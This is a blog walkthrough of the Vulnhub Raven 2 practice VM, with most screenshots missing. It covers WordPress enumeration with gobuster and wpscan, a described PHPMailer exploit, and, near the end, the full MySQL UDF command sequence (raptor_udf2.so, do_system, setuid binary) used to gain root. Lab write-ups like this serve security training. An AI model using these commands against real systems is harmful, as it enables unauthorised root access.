Vulnhub Raven 2 Walkthrough

    The description:  "Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?"  

    I wasn't hunting flags but I found three of the four -- maybe I found one more but I don't remember because I wasn't looking.  

    This was a fun machine.  Admittedly, I got hung up on the initial shell for longer than I should have but I knew it was my entry and I just had to get the syntax correctly.  Before I get ahead of myself too much, we start off with our scan:




    Not a lot of avenues, let's poke at it with Nikto:




    WordPress looks promising, let's hit it with WPScan:




    That's a new one, let's scan the /wordpress folder with gobuster:

    gobuster -u http://192.168.90.65/wordpress -w /usr/share/dirbuster/wordlists/final.txt -s '200,204,301,302,307,403,500' -e




    Weird.  The wp-content folder is where it's supposed to be so let's call it specifically:

    wpscan --url http://192.168.90.65/wordpress --wp-content-dir wp-content

    I don't find anything useful so I re-run the scan looking for users:

    wpscan --url http://192.168.90.65/wordpress --wp-content-dir wp-content --enumerate u





    I attempt to brute force the passwords but it's too slow.  Moving on, I decide to go back to the web port and do a complete scan:

    gobuster -u http://192.168.90.65 -w /usr/share/dirbuster/wordlists/final.txt -s '200,204,301,302,307,403,500' -e



    I find something new, /vendor.  Let's take a look:




    I see we're using PHPMailer, let's look for exploits:



    Checking our version:





    Let's hit the contact form:




    When we capture the POST in Burpsuite, we can see our input names:




    It should be noted that the exploit I use has an extension that implies it's Perl:




    ... when in fact, it's Python:



    How many people typing this blog tried to execute this script using Perl?  I did, I did.  :(

    Attention to detail is a critical component for pentesting.  

    When we look at our POST from Burpsuite, we can see that we need to make some changes below.  There are also a few other changes that need to be made to our original exploit.  Here's the original:




    Here's what I ended up with:




    You'll notice we're changing the write path to /var/www/html, the name of the contact form, and the modifications to the payload, exploit code, and the POST fields.  You'll also notice that I put print statements into my script because I spent a little too much time trying to get this script to work and I wanted to see what my variables were actually doing.  It was easier to find my mistakes that way.  

    I finally get my script working, I test it with phpinfo(); and then I modify to what you see above.  When I execute my script, it looks good:



    Now accessing it to read /etc/passwd:





    Excellent.  We have good execution, let's try to get that shell:




    Setting up the listener:




    We have a shell!  I do some hunting around and I find:




    Let's see if we can get some hashes from MySQL:




    Now let's try to crack those hashes with Hashcat:




    I try to use the credentials to login as Michael and Steven, no such luck.  I'm able to login to WordPress as Steven but I find nothing of use.

    While I'm hunting around in the system, I notice MySQL is running as root:




    An oldie but still a goodie:

    https://www.exploit-db.com/exploits/1518

    MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

    I've used this exploit more than a few times and I've already got this compiled and setup for download:




    There are instances when you use this exploit and you may or may not get the error highlighted below:




    Essentially, we go through our process, if we see this error, we run an additional select statement, then we re-run the previous line which gave us the error.  

    Our ultimate goal is to compile this script and setuid:



    Compiling and chmod:



    Exiting MySQL into a shell and executing our script:



    Root!

    To circle back to what we just did as a whole, the entire sequence of commands is as follows:

    create table foo(line blob);
    insert into foo values(load_file('/tmp/raptor_udf2.so'));
    select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
    create function do_system returns integer soname 'raptor_udf2.so';
    select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
    create function do_system returns integer soname 'raptor_udf2.so'; 
    select * from mysql.func;
    select do_system('gcc -o /tmp/setuid /tmp/setuid.c');
    select do_system('chmod u+s /tmp/setuid');
    \! sh .
    /setuid

    On systems where /usr/lib/mysql/plugin/raptor_udf2.so exists, there's no need to run the select statement and the subsequent create statement.  I hope this isn't making things more confusing.

    Moving on...

    I go after the root flag:





    And that's a wrap!  Good box, I enjoyed getting bogged down with the PHPMailer script because I think I've seen this in the past and I wasn't able to solve the syntax issue.


    © 2020 sevenlayers.com